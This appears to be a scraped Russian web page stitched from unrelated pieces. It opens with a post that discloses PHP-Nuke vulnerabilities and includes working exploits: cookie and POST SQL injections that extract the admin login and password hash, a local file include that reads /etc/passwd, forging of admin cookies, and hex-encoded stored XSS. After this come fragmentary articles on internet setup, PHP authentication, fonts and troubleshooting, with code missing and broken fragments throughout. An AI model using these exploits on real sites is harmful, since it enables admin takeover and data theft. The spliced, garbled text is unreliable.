modules php name your account
Modules php name your account
Обновленно: 01.07.2012
Cпустил ранее найденные мной уязвимости, поскольку они потеряли актуальность
SQL-Injection In PHP-Nuke sql_query($sql);
update_points(1);
$sql = «SELECT * FROM «.$prefix.»_journal_stats WHERE joid = ‘$username'»;
Для эксплуатации достаточно перейти по ссылке
/modules.php?name=Journal&file=add
и поместить в куки base64_encode(yourid:yournick’,0,(select concat_ws(0x3a,aid,pwd) from nuke_authors limit 0,1),1,1,1,1,1,1)/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
Пишем запись любого содержания, в результате получаем login:hash админа
SQL-Injection In PHP-Nuke sql_query($sql);
Как мы видим данные из параметра url попадают в запрос без какой-либо фильтрации, magic_quotes_gpc должен быть off, инъекция слепая, вывод ошибок отсутствует, остается Benchmark.
Exploit:
($sleeptime-1))
return false; else return true;
>
Exploit:
POST /nuke81/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/nuke81/modules.php?name=Your_Account&op=editcomm
Cookie: user=MjphZG1pbjplM2NlYjU4ODFhMGExZmRhYWQwMTI5NmQ3N TU0ODY4ZDoxMDp0aHJlYWQ6MDowOjA6MDpEZWVwQmx1ZTow; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEz MzAxMTI6; lang=english; member_id=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
umode=thread’, bio=(select concat_ws(0x3a,aid,pwd) from nuke_authors limit 0,1) where user_id=’YOUR_ID’%23&uorder=0&thold=0&commentmax=0&username=admin&user_id=YOUR_ID&op=savecomm
Exploit:
POST /nuke81/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/nuke81/modules.php?name=Your_Account&op=edituser
Cookie: user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1Y TMzMDExMjoxMDp0aHJlYWQ6MDowOjA6MDpEZWVwQmx1ZTo%3D; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEz MzAxMTI6; lang=english; member_id=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 475
realname=d%5C&user_email=ad%40a.ru&femail=&user_website=&user_icq=0&user_aim=&user_yim=&user_msnm=&user_from=&user_occ=&user_interests=&newsletter=0&user_viewemail=0&user_allow_viewonline=1&user_notify=0&user_notify_pm=0&user_popup_pm=0&user_attachsig=0&user_allowbbcode=1&user_allowhtml=1′, bio=’lalalala’ where user_id=2/*&user_allowsmile=1&user_timezone=%2B10&user_dateformat=D+M+d%2C+Y+g%3Ai+a&user_sig=%5C&bio=1&user_password=&vpass=&username=admin&user_id=2&op=saveuser
Local Include PHP-Nuke sql_fetchrow($db->sql_query(«SELECT overwrite_theme from «.$prefix.»_config»));
$overwrite_theme = intval($row[‘overwrite_theme’]);
Exploit
POST /phpnuke/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/phpnuke/modules.php?name=Your_Account&op=chgtheme
Cookie: video_stream_rating=%3A2%3A1%3A3%3A3+and+1%3A3+and +0%3A3%27+and+0%23%3A3%27+and+1%23; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEz MzAxMTI6; lang=russian; user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1Y TMzMDExMjoxMDp0aHJlYWQ6MTowOjA6MDovLi4vLi4vLi4vLi4 vLi4vLi4vZXRjL3Bhc3N3ZAA6NDA5Ng%3D%3D; member_id=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
theme=/../../../../../../../etc/passwd%00&user_id=2&op=savetheme
Авторизация
После того как мы получили хэш, его не нужно брутить, достаточно просто сгенерировать валидные куки:
admin=base64_encode(adminaid:adminhash:)
переходим на /admin.php и мы в админке!
Если на admin.php стоит бейсик аутентификация, не стоит забывать про форум.
Перейдя по ссылке
/modules/Forums/admin/
Мы окажемся в админке phpbb
php-nuke sql_query(«UPDATE «.$user_prefix.»_users SET user_avatar=’$newavatar’, user_avatar_type=’3′ WHERE user_id = ‘».intval($cookie[0]).»‘»);
Инъекция в UPDATE, таким образом можно: 1. Изменить любой параметр в таблице с пользователями, причем значть префикс для этого не нужно.
Так же можно использовать для получения Активных XSS (Если из инъенкий в SELECT’е можно получуить пассивную XSS, то здесь уже активная, т.к. есть возможность изменять значения в БД, а не только вывод).
2. Вывести информацию из других таблиц, делая вывод подзапроса в одно из полей (которое можно увидеть) своей инфы.
1. И так для того что бы изменить содержимое таблицы делаем так:
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2′,user_icq=’666’+where+user_id=2—+В данном случае изменится содержимое поля user_icq у пользователя с user_id=2.
Для получения Активных XSS закидываем их код в хексы, а затем обновляем поле, ну к примеру c адресом сайта:
==> 0x3c696d67207372633d6a6176617363726970743a616c6572 7428274772657927293e
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2′,user_website=0x3c696d6720737263 3d6a6176617363726970743a616c6572742827477265792729 3e+where+user_id=2—+
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2′,user_website=[КОД СКРИПТА В ХЕКСАХ]+where+user_id=[НОМЕР ПОЛЬЗОВАТЕЛЯ]—+Закидывать тело скрипта в хексы нужно было для обхода фильтрации.
Теперь при просмотре профиля пользователя, будет срабатывать наш скрипт:
http://site/modules.php?name=Forums&file=profile&mode=viewprofile&u=2
http://site/modules.php?name=Forums&file=profile&mode=viewprofile&u=[НОМЕР ПОЛЬЗОВАТЕЛЯ]
2. Для получения информации из других таблиц нужно:
Знать префикс таблиц (по дефолту «nuke»).
Дальше делаем такой запрос:
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2′,user_interests=version(%2F%2A%0 0%2A%2F%29+where+user_id=2—+В результате в поле с интересом пользователя будет выведена версия БД.
Получаем возможность в содержимое любого поля вывести результат подзапроса:
Настройка Интернета на компьютере
В этой статье мы расскажем, как настроить Интернет на компьютере, рассмотрим несколько типов подключения и научим, как проверить доступ в Интернет, используя специальные команды.
Виды подключений к Интернет
Для начала определимся с методом вашего подключения к Интернету:
Также важен тип подключения к Интернету:
Примечание: В данной статье не рассмотрена настройка роутера и ADSL-модема для доступа в Интернет. Это тема отдельных статей.
Настройка Интернета на компьютере с прямым кабельным подключением без использования PPPoE
Это самый простой способ подключения Интернета. Он не требует дополнительных настроек. При подключении кабеля к компьютеру должен сразу же появиться доступ в Интернет. Если этого не произошло, то проверьте настройки подключения. Для этого:
Настройка Интернета на компьютере с прямым кабельным подключением с использованием PPPoE
Данный тип подключения используется многими провайдерами. Для него необходимы учетные данные (имя пользователя и пароль), которые обычно указаны в договоре на использование Интернета с вашим провайдером.
Итак для начала нужно убедиться, что кабель от провайдера подключен к вашему компьютеру и проверить сведения о соединении, как это было описано в предыдущем разделе. Если в сведениях о соединении обмен данными происходит (в принято и отправлено есть данные), то можно переходить непосредственно к настройке подключения PPPoE.
Примечание: данного окна может и не быть, тогда просто переходите к следующему шагу.
Настройка Интернета на компьютере через роутер
При данном подключении компьютер соединится с Интернетом от провайдера с помощью роутера, установленного у вас в квартире.
Обычно такое подключение требует автоматических сетевых настроек сетевой карты вашего компьютера так, как описано в разделе Настройка Интернета на компьютере с прямым кабельным подключением без использования PPPoE.
Поэтому просто подключите кабелем разъем LAN на роутере и разъем на сетевой карте вашего компьютера, проверьте автоматические настройки как описано в статье и можете пользоваться Интернетом.
Настройка Интернета на компьютере с ADSL-подключением
Отличительной особенностью данного подключения является обязательное наличие ADSL-модема или роутера с поддержкой ADSL и подключением к нему телефонного кабеля.
В случае подключения через ADSL модем вашего компьютера, настройка на компьютере происходит также, как описано в разделе Настройка Интернета на компьютере с прямым кабельным подключением с использованием PPPoE.
В случаем подключения роутера с поддержкой ADSL подключение происходит так, как описано в разделе Настройка Интернета на компьютере с прямым кабельным подключением без использования PPPoE.
Схема подключения через ADSL-роутер
Настройка Интернета на компьютере через беспроводное подключение Wi-Fi
Если у вашего компьютера имеется беспроводная сетевая карта, то можно подключить к нему Интернет посредствам беспроводного канала связи Wi-Fi.
Для этого типа подключения вы должны знать ключ сети Wi-Fi или попросту пароль от него.
Раздать Wi-Fi для вашего компьютера могут такие устройства как роутер, телефон, точка доступа и так далее.
Для того чтобы подключиться к беспроводной сети:
Настройка статического IP-адреса для доступа в Интернет
Установка статического IP-адреса является дополнительным параметром для подключения к Интернету и может быть использована совместно с любыми другими типами подключения указанными выше. О ней можно узнать из договора с поставщиком Интернета (провайдером). Обычно раздел договора имеет следующие строки:
Значения указанные здесь являются лишь примером и в вашем случае будут отличаться от описанных.
Для установки статического IP-адреса на компьютере:
Примечание: здесь рассмотрен пример установки статических параметров для подключения к Интернету на компьютере. Если вы используете роутер, то перейдите к статье Настройка Интернета на компьютере через роутер.
Проверка доступа в Интернет с помощью командной строки
Этот способ является универсальным методом проверки доступности Интернета на вашем компьютере. Он также исключает действие вирусов и блокировщиков Интернета в браузере.
Итак, для выполнения команды нам потребуется:
Ping 8.8.8.8
и посмотрите результат ее выполнения
На этом мы закончим статью. Теперь вы знаете, как настроить и проверить доступ в Интернет на компьютере! Удачи!
Как сделать авторизацию на PHP? Пишем авторизацию пользователя
Внимание! Данная статья является устаревшей и носит исключительно ознакомительный характер. Если вас интересует авторизация на PHP, рекомендуем прочитать следующий материал по использованию готовых библиотек авторизации.
В этой статье вы узнаете, как сделать PHP-авторизацию (authentication) на сайте с помощью данных, полученных от пользователя при регистрации. Будем использовать таблицу MySQL, а сама PHP-авторизация будет работать с применением сессий и cookie. Материал не следует рассматривать, как пошаговое руководство. Зато он помогает понять, как работает PHP-авторизация в целом.
В первую очередь нужно сверстать главную страницу веб-сайта, поместив её в корне в папку template. Для этого создаём файл index.html с формой ввода логина и пароля, кнопкой «Вход», вот её код:
Мы используем метод передачи post, который необходим. Нам ведь не нужно, чтобы в процессе PHP-авторизации пароль и логин «светились» в адресной строке.
Когда форма готова, создаём главный контроллер — наиболее важный файл сайта, лежащий в корне — index.php. Как раз он и будет запускаться во время входа. Код выглядит следующим образом:
Теперь разберёмся подробнее, как всё работает.
Итак, форму PHP-авторизации можно вывести следующим условием:
Аналогичная ситуация и с переменной $admin. Последний код тоже можно поместить в файл с формой.
Если функция login() вернёт false (юзер не вошёл на сайт), мы проверим, а нажал ли он вообще на кнопку входа на сайт, которая включена в нашу форму PHP-авторизации:
Давайте посмотрим на алгоритм работы:
А теперь рассмотрим все функции, вызываемые в коде. Вот функция входа на сайт:
Но если работа функции enter() будет продолжена, мы проверим, а существует ли в базе данных запись с таким ником. Когда записи нет, возвращается массив с ошибкой. Когда есть, введённый пароль сравнивается со значением, которое хранится в БД.
Когда хэши совпадают, происходит авторизация с помощью скрипта. При отсутствии совпадений, возвращается ошибка.
Давайте подробно остановимся на том, что значит «авторизироваться». В нашем скрипте информация о PHP-авторизации хранится в cookie и сессии. В сессию записывается id пользователя:
Кроме того, создаются 2 cookie: login и password. Продолжительность жизни — 50 тыс. секунд. В первый пишется логин, во 2-й — хэш пароля.
В данной строке выполняется функция, которая устанавливает время последней активности юзера. Код:
С помощью функции перезаписываются поля online и last_act в базе данных. Здесь, кстати, важно убедиться, что эти поля существуют (оба имеют тип int).
Теперь посмотрим на алгоритм работы функции enter() :
Возникает вопрос, почему для авторизации используем и сессию, и cookie? Всё дело в том, что при закрытии браузера сессия «умирает», а пользователь автоматически разлогинивается. А вот cookie хранятся определённое время, задаваемое нами (50 тыс. секунд).
Наша функция вернёт true, когда юзер авторизирован, а в обратном случае — false. При этом в процессе работы обновится время жизни cookie или они будут созданы, если вообще не существуют.
Очередной алгоритм работы:
Когда есть сессия и cookie, обновляется время жизни cookie. Чтобы это реализовать, они удаляются, время смерти устанавливается на одну секунду раньше текущего времени, потом устанавливаете заново. Также нужно учесть, что функция lastAct() обновляет время последней активности. Возвращается, разумеется, true.
Когда сессия есть, а cookie почему то нет, то по id юзера мы получаем из базы данных логин и хэш пароля, потом пишем их в cookie. Возвращается true.
Когда сессии нет, проверяем, существуют ли cookie. Традиционный пример — PHP-авторизация после перезапуска браузера, когда сессия слетела, но cookie всё ещё живы. Становится сложнее, ведь нужно проверить, а совпадает ли пара пароль-логин с какой-нибудь строкой из базы данных. Ведь пользователь легко мог сменить cookie в настройках для сайта. Если пара нашлась, создаётся переменная сессии, возвращается true. Если пара не нашлась, возвращается false.
Если у нас самый печальный вариант — ни сессии, ни cookie не оказалось, возвращается false.
Когда наш юзер обыкновенный пользователь, значению в столбце присваивается 0, иначе — 1. Соответственно, в первом случае вернётся false, во втором — true.
Код всех наших функций нужно поместить в файл lib/module_global.php, подключаемый в начале работы контроллера.
Итак, мы написали функциональную, но простую PHP-регистрацию/аутентификацию/авторизацию для сайта. Также заложили фундамент для дальнейших возможностей по администрированию и не только. Такая PHP-авторизация не слетит после перезапуска браузера, т. к. мы используем cookie. Предусмотрен и выход с сайта.
Красивые шрифты онлайн
Сложно выделиться на сайте, когда все логины и тексты выглядят абсолютно одинаково. Если вы хотите, чтобы ваши посты были уникальными, креативными и красивыми, то используйте наш сервис. Здесь вы можете взять шикарные шрифты для Инстаграм абсолютно бесплатно. Выделяйся из серой массы.
Зачем нужно изменение шрифта на сайте
Казалось бы, все итак выглядит отлично. Однако, в бесконечном потоке статей и публикаций, пользователь просто вас не заметит. Это абсолютно не подходит тем, кто хочет привлечь внимание: блогерам, мастерам, предоставляющим услуги, или бизнесменам. Распространенность популярности товара или контента напрямую зависит от того, как вы сможете привлечь новых пользователей. С обычными шрифтами у вас ничего не выйдет.
В постах пользователь двигается следующим образом:
Если картинку можно легко сделать в фотошопе, то с постами все значительно сложнее. В том же Инстаграм, они представляют собой бесформенное нечто, которое разве что можно выделить смайлами. Мы же предоставляем совершенно иной подход.
Как написать фразу красивым шрифтом
Нет ничего проще, чем это. На сайте предлагаются крутые шрифты, которые помогут вам выделить свои публикации и сделать уникальное оформление ников в социальных сетях. Для этого сделайте ряд простых шагов:
У нас также есть отдельная фишка: изменить текст. Так вы сможете оформить его в более крутом формате. Как это работает? Возле понравившегося шрифта нажмите кнопку «изменить». Вас перенесет на другую страницу. Здесь вы можете сделать красивый текст вместе с:
Всего мы предоставляем 10 различных категорий, которые сделают шрифты для ников еще более крутыми. В каждой из них от 10 до нескольких сотен различных вариантов изображений.
Почему не подключается Интернет
Эта статья познакомит вас с основными неполадками при подключении вашего компьютера к Интернету. Вы узнаете, почему не подключается Интернет и как это исправить.
Сначала давайте определимся с основными видами проблем подключения к Интернету компьютера:
А теперь по порядку рассмотрим каждую из проблем.
Примечание: в данной статье не рассматривается настройка роутера и ADSL-модема для доступа в Интернет. Здесь описываются только методы диагностики неисправностей, а сами статье по настройки роутера (показать подсказку / открыть статью полностью) и ADSL-модема (показать подсказку / открыть статью полностью) лежат в отдельном разделе.
Проверка настроек провайдера подключения к Интернету
Возьмите в руки договор с вашим поставщиком услуг Интернета и посмотрите в нем параметры подключения. Не обладая специальными навыками это можно сделать обратив внимание на:
Проверьте, что у вас на компьютере или роутере установлен именно тот, тип подключения, который указан в договоре с провайдером. Если это не так, то перенастройте (показать подсказку / открыть статью полностью) его.
Еще одной довольно распространенной проблемой подключения к Интернету является банально блокировка вашего аккаунта у провайдера. Поэтому, прежде всего, позвоните ему и поинтересуйтесь, не заблокировали вас, например, по причине нехватки денег на балансе или из-за проводимых технических работ.
Проверка настроек роутера для доступа в Интернет
Роутер (маршрутизатор) служит для предоставления доступа в Интернет всем вашим устройствам. Его неправильные настройки могут служить причиной по которой не подключается Интернет во всей квартире.
Для проверки корректности настроек вашего роутера будем действовать по следующей схеме:
Проверка доступности роутера с компьютера
Для проверки нам потребуется:
Наиболее часто используемые IP-адреса роутера:
Пример выполнения команды Ping:
Ping 192.168.0.1
И результат ее выполнения:
Если результат успешный, то роутер доступен.
Если произошел сбой при опросе роутера, то попробуйте другой IP-адрес из списка выше.
Проверка доступа в Интернет из интерфейса роутера
Для проверки Ваш роутер должен быть обязательно доступен с компьютера, т.е. выполняться его успешный Ping, как описано в предыдущем пункте.
Итак, что нам нужно это зайти в интерфейс роутера и из него проверить доступ к Интернету:
Примечание: IP-адрес роутера определялся в предыдущем пункте. Это тот, с которым прошло успешное выполнение команды ping.
Здесь отображается статус WAN (как раз наше соединение с Интернетом) и в нашем случае переданные и принятые пакеты трафика, которые при успешном подключении меняются с течением времени.
А теперь попробуем отключить кабель от Интернета и посмотрим, как изменится статус.
Через нее вы можете выполнить уже известную нам команду Ping прямо из роутера, тем самым проверив доступ к Интернету на нем. Для этого:
Если же происходит сбой при передаче пакетов и результат соответствует второму скриншоту, то необходимо настроить роутер или узнать причины возможной блокировки доступа в Интернет у вашего провайдера.
Проверка доступа в Интернет из командной строки
Этот способ хорош тем, что исключает воздействия настроек браузера и возможных вредоносных программ встроенных в них.
Для этого способа нам потребуется:
Ping 8.8.8.8
И сравните результат ее работы с приведенными ниже скриншотами
Если команда выполнена успешно (результат соответствует первому скриншоту), то доступ в Интернет у Вас присутствует.
Если же произошел сбой при выполнении команды Ping (результат соответствует второму скриншоту), то доступ в Интернет отсутствует. В этом случае попробуйте другие описанные здесь причины по которым не подключается Интернет.
Проверка параметров подключения к Интернету на компьютере
Проверка настроек браузера
Еще одной причиной по которой не подключается Интернет является некорректная настройка браузера. Это довольно распространенная ситуация при которой доступ в Интернет становится невозможным. В этом случае может быть указан недоступный прокси-сервер, включена блокировка содержимого сайтов или же другая настройка.
В любом случае, если вы не знаете причину, то лучше сбросить настройки браузера к первоначальным.
Давайте для начала рассмотрим процесс сброса системных настроек, которые многие браузеры используют для доступа в Интернет. Для того чтобы их сбросить:
Рассмотрим этот же процесс в наиболее популярных браузерах:
После сброса настроек перезапустите ваш браузер и проверьте подключение к Интернету.
Вирус блокирует доступ в Интернет
Довольно распространённая проблема в наше время – это вирусы, блокирующие доступ к Интернету вашего компьютера. Они могут изменять сетевые параметры, блокировать доступ к определённым сайтам, подменять сайты своими копиями, использовать ваш канал Интернета для своих щелей и много-много чего еще. Именно поэтому всегда когда не подключается Интернет на компьютере следует выполнить проверку его на вирусы.
Если у вас еще остались вопросы на тему: почему не подключается Интернет? Пишите их в комментариях или на нашем форуме.